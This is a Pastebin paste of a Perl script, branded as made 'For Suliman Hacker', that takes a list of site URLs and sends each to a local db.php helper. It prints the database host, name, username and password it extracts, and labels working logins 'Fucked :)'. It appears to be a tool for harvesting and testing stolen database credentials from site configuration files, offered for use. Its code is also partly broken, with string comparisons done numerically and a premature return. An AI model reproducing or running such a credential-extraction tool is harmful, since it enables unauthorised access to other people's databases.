Advertisement
Guest User

SMH

a guest
Jan 15th, 2018
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.00 KB | None | 0 0
  1. use LWP::UserAgent;
  2. system('cls');
  3. print '
  4. ===============================================================
  5. || 0x.{Extracktor|{Config}|Connecter}.0x For Suliman Hacker  ||
  6. || Coded With Love By 1337r00t For Suliman Hacker            ||
  7. ===============================================================
  8. ';
  9. print "List Of Usernames => ";
  10. $urllist = <STDIN>;
  11. chomp($urllist);
  12. open (URLFILE, "<$urllist") || die "[-] Can't Found ($urllist) !";
  13. @URLS = <URLFILE>;
  14. close URLFILE;
  15. foreach $url (@URLS) {
  16. chomp $url;
  17.     if($url=~/http:\/\//){
  18.         connecting('http',$url);
  19.     }
  20.     if($url=~/https:\/\//){
  21.         connecting('https',$url);
  22.     }
  23. }
  24. ###########
  25. sub connecting($$){
  26.     ($type,$cwd) = @_;
  27.     if($type == 'http'){
  28.         $db1 = LWP::UserAgent->new();
  29.         $dbed1 = $db1->post('http://localhost/db.php?type=http',{url=>$cwd});
  30.         if($dbed1->content=~/"status":"Disconnected"/){
  31.             print "--------------\n";
  32.             print "Host: ";
  33.             print $dbed1->content=~/"host":"(.+?)"/;
  34.             print "\n";
  35.             print "Name: ";
  36.             print $dbed1->content=~/"name":"(.+?)"/;
  37.             print "\n";
  38.             print "Username: ";
  39.             print $dbed1->content=~/"username":"(.+?)"/;
  40.             print "\n";
  41.             print "Password: ";
  42.             print $dbed1->content=~/"password":"(.+?)"/;
  43.             print "\n";
  44.             print "Status: Disconnected\n--------------\n";
  45.         }else{
  46.             if($dbed2->content=~/"status":"Connected"/){
  47.                 print "-----Fucked :)-----\n";
  48.                 print "Host: ";
  49.                 print $dbed1->content=~/"host":"(.+?)"/;
  50.                 print "\n";
  51.                 print "Name: ";
  52.                 print $dbed1->content=~/"name":"(.+?)"/;
  53.                 print "\n";
  54.                 print "Username: ";
  55.                 print $dbed1->content=~/"username":"(.+?)"/;
  56.                 print "\n";
  57.                 print "Password: ";
  58.                 print $dbed1->content=~/"password":"(.+?)"/;
  59.                 print "\n";
  60.                 print "Status: Connected\n-----Fucked :)-----\n";
  61.             }else{
  62.                 print "Failed Regex-> (".$cwd.")\n";
  63.             }
  64.         }
  65.     }
  66.     if($type == 'https'){
  67.         $db2 = LWP::UserAgent->new();
  68.         $dbed2 = $db2->post('http://localhost/db.php?type=https',{url=>$cwd});
  69.         return $dbed2->content();
  70.         if($dbed2->content=~/"status":"Disconnected"/){
  71.             print "--------------\n";
  72.             print "Host: ";
  73.             print $dbed2->content=~/"host":"(.+?)"/;
  74.             print "\n";
  75.             print "Name: ";
  76.             print $dbed2->content=~/"name":"(.+?)"/;
  77.             print "\n";
  78.             print "Username: ";
  79.             print $dbed2->content=~/"username":"(.+?)"/;
  80.             print "\n";
  81.             print "Password: ";
  82.             print $dbed2->content=~/"password":"(.+?)"/;
  83.             print "\n";
  84.             print "Status: Disconnected\n--------------\n";
  85.         }else{
  86.             if($dbed2->content=~/"status":"Connected"/){
  87.                 print "-----Fucked :)-----\n";
  88.                 print "Host: ";
  89.                 print $dbed2->content=~/"host":"(.+?)"/;
  90.                 print "\n";
  91.                 print "Name: ";
  92.                 print $dbed2->content=~/"name":"(.+?)"/;
  93.                 print "\n";
  94.                 print "Username: ";
  95.                 print $dbed2->content=~/"username":"(.+?)"/;
  96.                 print "\n";
  97.                 print "Password: ";
  98.                 print $dbed2->content=~/"password":"(.+?)"/;
  99.                 print "\n";
  100.                 print "Status: Connected\n-----Fucked :)-----\n";
  101.             }else{
  102.                 print "Failed Regex-> (".$cwd.")\n";
  103.             }
  104.         }
  105.     }
  106. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement